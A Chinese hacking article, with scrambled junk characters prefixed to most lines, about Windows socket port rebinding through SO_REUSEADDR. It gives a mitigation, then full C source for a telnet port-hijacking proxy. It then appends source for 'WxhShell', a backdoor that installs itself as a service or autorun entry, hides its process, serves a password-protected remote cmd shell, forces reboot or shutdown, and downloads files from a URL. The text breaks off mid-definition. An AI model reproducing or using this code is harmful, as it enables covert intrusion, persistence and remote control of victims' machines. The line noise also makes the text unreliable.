在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_)\,6| # s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*38\&"s4_ T0C'$1T saddr.sin_family = AF_INET;
`2+52q<FO l0o_C#"<S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W u{nC .;Yei6H bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
AE~}^(G` Hc3/`.nt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e6a8ad 7]53GGNO 这意味着什么?意味着可以进行如下的攻击:
eeZ9 w~< qa#F}aGd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
At:C4>HE@ $^GnY7$!> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%8}w!2D S <FLc0s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~)(Dm+vZ s47"JKf" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W{2y*yqY l;i
u` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M6n.uho/ DSa92:M} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Z0^do ;pYk+r6 Cr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]>j_
Y, ~<-h# B #include
/pEkig7M #include
H2-( #include
{%dQV#'c #include
;B@l0)7(x DWORD WINAPI ClientThread(LPVOID lpParam);
R'U(]&e.j int main()
1k(*o.6 {
m\Nc}P_"p WORD wVersionRequested;
=uEhxsj)S DWORD ret;
M3;B]iRQD WSADATA wsaData;
OW^7aw(N6 BOOL val;
&-tf/qJ SOCKADDR_IN saddr;
zc5_;!t SOCKADDR_IN scaddr;
^\;5O(9 int err;
UNHHzTsr? SOCKET s;
YTA&G SOCKET sc;
"Y6mM_flq int caddsize;
p5ihuV, HANDLE mt;
$tJJ
>" DWORD tid;
sIe(;%[` wVersionRequested = MAKEWORD( 2, 2 );
$Vh82Id^ err = WSAStartup( wVersionRequested, &wsaData );
':@qE\( if ( err != 0 ) {
UNae&Zir printf("error!WSAStartup failed!\n");
2sH5<5G' return -1;
.`9KB3 }
Mf"B!WU>]B saddr.sin_family = AF_INET;
stScz#! (w fZ! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=X B)sC% ce\-oT saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
I_Qnq4Sk( saddr.sin_port = htons(23);
I
Cs1= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Zl*!pQ {
-fv.ByyA printf("error!socket failed!\n");
VdgPb ( return -1;
R
_%pR_\ }
a;sZNUSn val = TRUE;
h9mR+ng*oD //SO_REUSEADDR选项就是可以实现端口重绑定的
E'}$'n?: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#SmWF|/ {
k-/$8C printf("error!setsockopt failed!\n");
iD~s, return -1;
qZ.\GHS }
$qqusa}`K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Yv)/DsSyL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Q2o:wXvj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Nx"?'-3Hm GupKM%kM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
MvCBgLN {
622).N4 ret=GetLastError();
m,b<b91 printf("error!bind failed!\n");
~[{| s') return -1;
9azPUf)
C }
K;~dZ listen(s,2);
&2DW while(1)
3ba"[C| {
l`k3!EZDS caddsize = sizeof(scaddr);
C*$/J\6xy //接受连接请求
>4c 1VEi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4^r}&9C~ if(sc!=INVALID_SOCKET)
ME.LS2'n {
}z[se)s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ic*Q(X if(mt==NULL)
sq%f%?(V {
0IZV4{ printf("Thread Creat Failed!\n");
vzU %5, break;
DbDpdC; }
/i<g>*82 }
[3s~Z8
pP CloseHandle(mt);
nz(OHh!}u }
;AaF ;zPV closesocket(s);
\n5,!,A WSACleanup();
8`D_"3j3g\ return 0;
F{[Q }
*QLbrR DWORD WINAPI ClientThread(LPVOID lpParam)
0bor/FU-d {
KLk37IY2\ SOCKET ss = (SOCKET)lpParam;
\,WPFV SOCKET sc;
V\_
&2',t unsigned char buf[4096];
TS;MGi0`} SOCKADDR_IN saddr;
QAR<.zXvP long num;
cj[y]2{1h DWORD val;
\oi=fu=}* DWORD ret;
\ZC7vM"h //如果是隐藏端口应用的话,可以在此处加一些判断
b@7
ItzD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
o,29C7Ii saddr.sin_family = AF_INET;
@'S-nn,sO saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y,aASy!Q saddr.sin_port = htons(23);
/+rHy7(\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.e6 :/x~p* {
O_E[FE:+ printf("error!socket failed!\n");
{AZW."? return -1;
az w8BK }
51~:t[N| val = 100;
+iXA|L9= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
EprgLZ1B {
$+tkBM ret = GetLastError();
rIXAn4,dTv return -1;
@=$;^}JS| }
VL\6U05Z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|2mEowAd {
BM3nZ<%3 ret = GetLastError();
!Ed';yfz\( return -1;
k]v a }
hgm`6TQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Uu
G;z5 {
N(D_*% 96 printf("error!socket connect failed!\n");
G,J$lTX closesocket(sc);
@Fo0uy\G closesocket(ss);
o/Z?/alt4 return -1;
O%)w!0 }
wL:3RZB while(1)
pBHr{/\5 {
C\1Dy5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
P5[.2y_qM //如果是嗅探内容的话,可以再此处进行内容分析和记录
]]Wa.P~]O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=|H/[",gg num = recv(ss,buf,4096,0);
$} ~:x_[ if(num>0)
eOS#@6U=u send(sc,buf,num,0);
N/Z<v* i" else if(num==0)
g4Tc (k# break;
+YP,LDJ!v num = recv(sc,buf,4096,0);
NO'-HKHj if(num>0)
[~x
Ql send(ss,buf,num,0);
Oq[tgmf else if(num==0)
CYz]tv}g: break;
4/$]wK` }
9= :!XkT. closesocket(ss);
Pj^6.f+ closesocket(sc);
a6[bF return 0 ;
'y@0P5[se }
q")}vN ?L'ijzP w!h!%r ==========================================================
J PmW0wM 3rs=EMz:w 下边附上一个代码,,WXhSHELL
!tN]OQ)' B+,Z 3* ==========================================================
V0"UFy?i \!`*F:7]- #include "stdafx.h"
i,,U D ^*RmT #include <stdio.h>
zcDVvP #include <string.h>
j`(o\Fd ) #include <windows.h>
H;|^z@RB< #include <winsock2.h>
?NJ\l5' #include <winsvc.h>
T~_+\w #include <urlmon.h>
dnH?@K .Q4EmpByCg #pragma comment (lib, "Ws2_32.lib")
a>6!?:Rj #pragma comment (lib, "urlmon.lib")
*SLv$A 5s`NR<|2L #define MAX_USER 100 // 最大客户端连接数
s@Y0"
#define BUF_SOCK 200 // sock buffer
a,!c6'QE #define KEY_BUFF 255 // 输入 buffer
d-lC|5U% p^^E(<2 #define REBOOT 0 // 重启
a~WtW] #define SHUTDOWN 1 // 关机
c1Xt$[_ PO1sVP.S #define DEF_PORT 5000 // 监听端口
VQ2)qJ#l weKwBw #define REG_LEN 16 // 注册表键长度
.(ki(8Z N #define SVC_LEN 80 // NT服务名长度
~}(}:#>T S+7>Y? B! // 从dll定义API
nTyKZ(#u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)Yy`$` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>}Za) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
y.HE3tH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ZF>zzi+@ b1R%JY7/S // wxhshell配置信息
6l<q struct WSCFG {
X*/jna"* int ws_port; // 监听端口
ZU5hHah.t char ws_passstr[REG_LEN]; // 口令
7jvf:#\LtL int ws_autoins; // 安装标记, 1=yes 0=no
}]'Z~5T char ws_regname[REG_LEN]; // 注册表键名
Quqts(Q) + char ws_svcname[REG_LEN]; // 服务名
C5$1K'X@ char ws_svcdisp[SVC_LEN]; // 服务显示名
i.C+{QH char ws_svcdesc[SVC_LEN]; // 服务描述信息
]`b/_LJN$F char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GFB(c
int ws_downexe; // 下载执行标记, 1=yes 0=no
ia?{]!7$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Vr+X!DeY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
l q~^&\_# oqc89DEbJ };
An{`'U(l qk<(iVUO // default Wxhshell configuration
kFg@|#0v9 struct WSCFG wscfg={DEF_PORT,
1kEXTs=, "xuhuanlingzhe",
ZBUEg7c 1,
~xerZQgc "Wxhshell",
Rt} H.D
# "Wxhshell",
zW+X5yK "WxhShell Service",
m0DD|7}+ "Wrsky Windows CmdShell Service",
KmG*`Es "Please Input Your Password: ",
W1dpKv 1,
ycz6-kEp "
http://www.wrsky.com/wxhshell.exe",
g
4G& "Wxhshell.exe"
dDK4I3a };
0JN>w^ ]%>7OH' // 消息定义模块
{OtD+% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
d}2tqPy a char *msg_ws_prompt="\n\r? for help\n\r#>";
WhQK3hnm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SVB> 1s9F char *msg_ws_ext="\n\rExit.";
"%ou'\} char *msg_ws_end="\n\rQuit.";
ek\8u`GC char *msg_ws_boot="\n\rReboot...";
n;+CV~ char *msg_ws_poff="\n\rShutdown...";
4
;ybQ char *msg_ws_down="\n\rSave to ";
T#KF@8'- k<(G)7'gm char *msg_ws_err="\n\rErr!";
JcV'O)& char *msg_ws_ok="\n\rOK!";
n,/eT,48` }-jS0{i char ExeFile[MAX_PATH];
[CxnGeKK int nUser = 0;
Mm7;'Zbg HANDLE handles[MAX_USER];
q#s:2#= int OsIsNt;
%Z_/MNI 6Y9F U SERVICE_STATUS serviceStatus;
,\8F27 SERVICE_STATUS_HANDLE hServiceStatusHandle;
14>WpNN r*_z<^d // 函数声明
Bp&7:snGt int Install(void);
mqe83 k% int Uninstall(void);
.\)`Xj[? int DownloadFile(char *sURL, SOCKET wsh);
Ya~*e;CW2 int Boot(int flag);
M~/7thP{ void HideProc(void);
R<(kiD\?] int GetOsVer(void);
~C M%WvS int Wxhshell(SOCKET wsl);
M:TN^ rA| void TalkWithClient(void *cs);
NN>E1d= int CmdShell(SOCKET sock);
B}S!l>.z int StartFromService(void);
'^mCLfo0} int StartWxhshell(LPSTR lpCmdLine);
LL% Aw)Q` 7 6 nrDE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
W3Gg<!*Uo VOID WINAPI NTServiceHandler( DWORD fdwControl );
v\lhbpk E3hql3= // 数据结构和表定义
im,H|u_f4 SERVICE_TABLE_ENTRY DispatchTable[] =
J)o.@+Q} {
j}s<Pn%4 {wscfg.ws_svcname, NTServiceMain},
J:D{5sE<| {NULL, NULL}
mv1g2f+ };
0nOkQVMk> IhR;YM[K // 自我安装
7 +]+S`p int Install(void)
~t=73fwB {
g}@W9'! char svExeFile[MAX_PATH];
TwfQq` HKEY key;
!V.2~V[^M strcpy(svExeFile,ExeFile);
bqPaXH
n lK VV*RR} // 如果是win9x系统,修改注册表设为自启动
G.{)#cR if(!OsIsNt) {
qe/dWJBa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
LOO<)XFJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{^8->V RegCloseKey(key);
WR|n> i@m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
bv:M
zYS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
LI~ofCp RegCloseKey(key);
78~;j1^6u return 0;
3bsuE^,.@ }
s2f6;Yc }
<Pn]{N }
WMi$ATq else {
o|en"?4 ob.Br:x // 如果是NT以上系统,安装为系统服务
{u}d`%_.M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y@Gl'@-O if (schSCManager!=0)
Qr.SPNUFK {
OUtXu7E$ SC_HANDLE schService = CreateService
aw\0\'} (
X;/5Niv32q schSCManager,
y1qJ wscfg.ws_svcname,
?+P D?c7 wscfg.ws_svcdisp,
/LK,:6 SERVICE_ALL_ACCESS,
)lhPl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Hd_W5R SERVICE_AUTO_START,
e)M)q!nG SERVICE_ERROR_NORMAL,
1 !8
b9 svExeFile,
b[/uSwvi NULL,
af- NULL,
zz m[sX} NULL,
Spm0DqqR? NULL,
^yFtL(x, NULL
|& Pa`=sp );
(3VV(18 if (schService!=0)
X,mqQ7+ {
umuE5MKY< CloseServiceHandle(schService);
/idrbc CloseServiceHandle(schSCManager);
Ri<'apl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
zL@FN sYVM strcat(svExeFile,wscfg.ws_svcname);
Yw6^(g8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dWi:V7t+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
""W*) rR
RegCloseKey(key);
=\FV_4) return 0;
E[a|.lnV }
V`& O` }
0-at#r: CloseServiceHandle(schSCManager);
H"vkp~u]I }
*Sw1b7l }
B,(zp#&yB hdN[wC] return 1;
ZcE:r+ }
Wi2Tg^ I3hN7 // 自我卸载
iOrpr,@ int Uninstall(void)
;6655C {
PBOZ^%k HKEY key;
c]PG5f xf J e"~/+ if(!OsIsNt) {
]L/AW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Hw1:zro RegDeleteValue(key,wscfg.ws_regname);
nvbKW.[<f{ RegCloseKey(key);
FNR<=M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kCHYLv3. RegDeleteValue(key,wscfg.ws_regname);
rv <_'yj RegCloseKey(key);
k1E(SXcW9 return 0;
C
)J@`E }
G7NRpr }
_ K Ix7 }
+rFAo00E| else {
\(`8ng]vs d}^G790 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
O6"S=o& if (schSCManager!=0)
AU4K$hC^ {
>e"vPW*[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+)ba9bJ| if (schService!=0)
9p4=iXfR {
o2rL&
if(DeleteService(schService)!=0) {
G$A=T u~ CloseServiceHandle(schService);
h,zM*z A_ CloseServiceHandle(schSCManager);
*ry}T= return 0;
-gB9476- }
:r4o:@N' CloseServiceHandle(schService);
-]Y@_T.C }
3eERY[ CloseServiceHandle(schSCManager);
pD17r}% }
<7
xX/Z}M }
"[dfb#0z` O9ar|8y return 1;
^m['VK#? }
''Hx& D"M[}$P // 从指定url下载文件
ZxB7H{ int DownloadFile(char *sURL, SOCKET wsh)
"'74GY8, {
'!<gPAVTzV HRESULT hr;
jSMxb a] char seps[]= "/";
8(>2+#exw char *token;
2 9#jKh char *file;
N?2C*|%f char myURL[MAX_PATH];
-pW*6??+? char myFILE[MAX_PATH];
Q<>b3X>O G|b
I$ strcpy(myURL,sURL);
K$KVm^` token=strtok(myURL,seps);
lWakyCS while(token!=NULL)
{I8C&GS {
W1_.wN$,5 file=token;
/|m0)H.> token=strtok(NULL,seps);
X]}:WGFM }
&embAqW: k}]M`ad GetCurrentDirectory(MAX_PATH,myFILE);
9Cz|?71 strcat(myFILE, "\\");
ha?M[Vyw4Q strcat(myFILE, file);
dJ{q}U send(wsh,myFILE,strlen(myFILE),0);
iAo/Dnp2J send(wsh,"...",3,0);
]j0/.pG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$38)_{ if(hr==S_OK)
N/78Ub return 0;
k~*%Z!V}C else
C}qHvwFm return 1;
mXs.@u/ IU;a$ }
\V#fl oA?EJ ~% // 系统电源模块
#z+?t int Boot(int flag)
{zalfw{+
{
'
eh }t HANDLE hToken;
a"&cm'\lL TOKEN_PRIVILEGES tkp;
+c$:#9$ | _FxeZ4\ if(OsIsNt) {
@{"?fqo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Lp)P7Yt- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
66-tNy tkp.PrivilegeCount = 1;
`|2g&Vn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
14DhJUV"b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
c~+KrWbZ~ if(flag==REBOOT) {
)=VAEQhL- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
L'w]O
-86 return 0;
24u_}ZQzY }
_#qfe else {
;I?x;lH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
l b;P&V return 0;
H?rC IS0 }
yy Y\g }
O(6j:XD else {
Y/sZPG}4 if(flag==REBOOT) {
03c8VKp'p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~owodc return 0;
?,i}Qr [Q }
>Ptu-* else {
]iMqIh" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Z~].v._YV) return 0;
@nAl*#M*D }
"W~vSbn7 }
&->ngzg |`xM45 return 1;
JvK]EwR
; }
>}: 1m5*MY // win9x进程隐藏模块
n,d)Wwe_`y void HideProc(void)
n(`|:h" {
"n_X4e+18P v-BQ>-& s HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%>$Puy\U if ( hKernel != NULL )
*`8JJs0g {
FA+"t^q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Sy']fGvx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y::O*I2 FreeLibrary(hKernel);
)KEW`BC5T }
#; f50j!r dyk(/#*7W return;
U(LLIyZv }
l))Q/8H Ch\__t*v! // 获取操作系统版本
3=yfbO<- int GetOsVer(void)
tcO{CI {
k<5g OSVERSIONINFO winfo;
a{@}vZx>3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6']HmM GetVersionEx(&winfo);
s_a jA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C}(@cn `L return 1;
UOk\fyD2[ else
s<rV1D return 0;
x|O^#X(, }
u`&lTJgF/O I~:gi@OVV // 客户端句柄模块
\H~zN]3^
int Wxhshell(SOCKET wsl)
G[`1Yw$ {
2:_6nWl SOCKET wsh;
I/%v`[ struct sockaddr_in client;
y)U?.@ DWORD myID;
Dnl<w<}ZU: jj1\oyQ8 while(nUser<MAX_USER)
Z &Ciy n {
Ml7
(<J int nSize=sizeof(client);
__2<v?\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)@X0'X< if(wsh==INVALID_SOCKET) return 1;
3f] ;y<Km +a3E=GJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Fq@o_bI if(handles[nUser]==0)
68Gywk3]=u closesocket(wsh);
1^4:l!0D else
@kqxN\DE nUser++;
=c'4rJ$+ }
jYFJk&c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E4L?4>V@\ BVw2skOT return 0;
m{/(
3 }
ch8a z*EV>Y[ // 关闭 socket
N)H "'#- void CloseIt(SOCKET wsh)
t$18h2yOL {
-2M~KlYl closesocket(wsh);
FfdB% nUser--;
6
Rl[M+Q ExitThread(0);
[OW <<6 }
TI4Hu,rc YV<y-,Io // 客户端请求句柄
,U z8 _r void TalkWithClient(void *cs)
U`%t&7) {
LE\=Y;% ^$K&Met SOCKET wsh=(SOCKET)cs;
6^ wI^`NI char pwd[SVC_LEN];
X.eOw>. char cmd[KEY_BUFF];
h0'*)`;z char chr[1];
vR!+ 8sy$ int i,j;
QQM:[1;RT kAQ(8xV while (nUser < MAX_USER) {
"lI-/G V4:/LNq_] if(wscfg.ws_passstr) {
Io1j%T#ZT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eQuu\/z*H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
jYHn J}< //ZeroMemory(pwd,KEY_BUFF);
C\EIaLN< i=0;
!6KX^j- while(i<SVC_LEN) {
cb|+6m~ @>)VQf8s1 // 设置超时
zm" fd_set FdRead;
|ia5Mr"t struct timeval TimeOut;
eV[{c %wN: FD_ZERO(&FdRead);
;6W ]f([ FD_SET(wsh,&FdRead);
&h-_|N TimeOut.tv_sec=8;
gV2vwe TimeOut.tv_usec=0;
2:*15RH3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
m,k0 h% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r5}p . um.ZAS_kmc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
D&G6^ME pwd
=chr[0]; E^1yU
if(chr[0]==0xd || chr[0]==0xa) { ;W,* B.~
pwd=0;
W,xdj! ^t
break; (?jK|_
} cx\E40WD
i++; A2|Bbqd
} Z hfp>D
:_8K8Sa
// 如果是非法用户,关闭 socket }r:"X<`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j&8YE7
} f%]@e9dD
-9b=-K.y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :Y99L)+=/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K4Q{U@ZJ
WLUgiW(0$
while(1) { !j6k]BgZ
~7:q+\
ZeroMemory(cmd,KEY_BUFF); .>"xp6
w
<r*&
// 自动支持客户端 telnet标准 TGJz[Ny
j=0; ,U{dqw8E{
while(j<KEY_BUFF) { *~PB
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k79OMf<v
cmd[j]=chr[0]; q[U pP`Z%
if(chr[0]==0xa || chr[0]==0xd) { !VD$uT
cmd[j]=0; Ne
u$SP
break; lQIg0G/3
} v}DNeIh~
j++; `wi+/^);
} [G_ ;78
G#7*O`
// 下载文件 =oSD)z1c?x
if(strstr(cmd,"http://")) { >!fTWdD^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W? G4>zA
if(DownloadFile(cmd,wsh)) ]9QXQH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 $k{,
else Id?-Og2iV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Z2u0jNArP
} @WazSL;N
else { (Aw@}!
\; XJ$~>
switch(cmd[0]) { k)+{Y v*
}hn?4ny
// 帮助 /[/L%;a'p
case '?': { "-:H$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nk!uO^
break; tar/n o
} -o/Vp>_UOE
// 安装 YMo8C(
case 'i': { =sWK;`
if(Install()) e/4C` J-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+M^we*R
else HL{aqT2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <8(q.
break; x}ZXeqt{{
} zW`Hqt;
// 卸载 ?<J~SF Tt
case 'r': { |K.I%B
if(Uninstall()) xjp0w7L)J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ifp8oL? S;
else p4uzw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V'b4wO1RV
break; %]F/!n
} -medD G
// 显示 wxhshell 所在路径 &tUX(
case 'p': { uBG!R#T
char svExeFile[MAX_PATH]; 0=+feB1T
strcpy(svExeFile,"\n\r"); y:E$n!
strcat(svExeFile,ExeFile); E!X>C^
send(wsh,svExeFile,strlen(svExeFile),0); dOaOWMrfdf
break; [m! P(o
} R.1.LB
// 重启 #y&5pP:@
case 'b': { y /vc\e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xsU%?"r
if(Boot(REBOOT)) (e;/Smol
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -V2f.QE%
else { bRggt6$z
closesocket(wsh); (0@b4}Z
ExitThread(0); +L=Xc^
} 9y[U\[H
break; gDJ} <^
} uNEl]Q]<e]
// 关机 Y{~`g(~9_A
case 'd': { bR}fj.gP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;eo}/-a_Xw
if(Boot(SHUTDOWN)) M]%dFQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M:.+^.h
else { ]*MVC/R,
closesocket(wsh); %O!xrA{
ExitThread(0); F7<u1Rx]
} bp" @p:
break; 'PrBa[%
} GfSD%"
// 获取shell h}tC+_"D
case 's': { {ZdF6~+H(!
CmdShell(wsh); W NeBthq6
closesocket(wsh); EajJv>X7
ExitThread(0); -k:x e:$
break; ?x 0gI
} /V cbT >=
// 退出 a~R.">>$
case 'x': { FbMtor
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _PGd\>Ve
CloseIt(wsh); E 6MeM'sx
break; g9;s3qXiG
} a;Pn.@NVq
// 离开 kVCWyZh4
case 'q': { 4o";p}[b
send(wsh,msg_ws_end,strlen(msg_ws_end),0); x|AND]^Q
closesocket(wsh); :+w6i_\d5
WSACleanup(); @d^DU5ats>
exit(1); pUqNB_
break; F/1m&1t
} 0 ;)Q
} j[mII5e7g
} Gj%q:[r
Qc!3y>Y=_
// 提示信息 h-O;5.m-P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tb;,t=;u
} T~L V\}h
} _NwHT`O[
3 G<4rH]
return; z6;hFcO
} O0
Uh
dIh+h|:
// shell模块句柄 ;/pI@Ck
int CmdShell(SOCKET sock) f52P1V]
{ ]91QZ~4a
STARTUPINFO si; T>b"Gj/
ZeroMemory(&si,sizeof(si)); &Ruq8n<
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ndb7>"W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qP&:9eL
PROCESS_INFORMATION ProcessInfo; B/;'D7i|S
char cmdline[]="cmd"; %I!2dXNFRF
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '+vmC*-I(
return 0; r_,;[+!
} {J/Fp#
a]%sks
// 自身启动模式 u8%X~K\
int StartFromService(void) h~CLJoK<
{ 2P^qZDG 8I
typedef struct Wi!"Vcn
{ djw\%00
DWORD ExitStatus; |#SZdXg
DWORD PebBaseAddress; v@M^ukk'}
DWORD AffinityMask; E]m?R 4
DWORD BasePriority; aHYISjZ]>
ULONG UniqueProcessId; -/Wf iE
ULONG InheritedFromUniqueProcessId; nSBhz
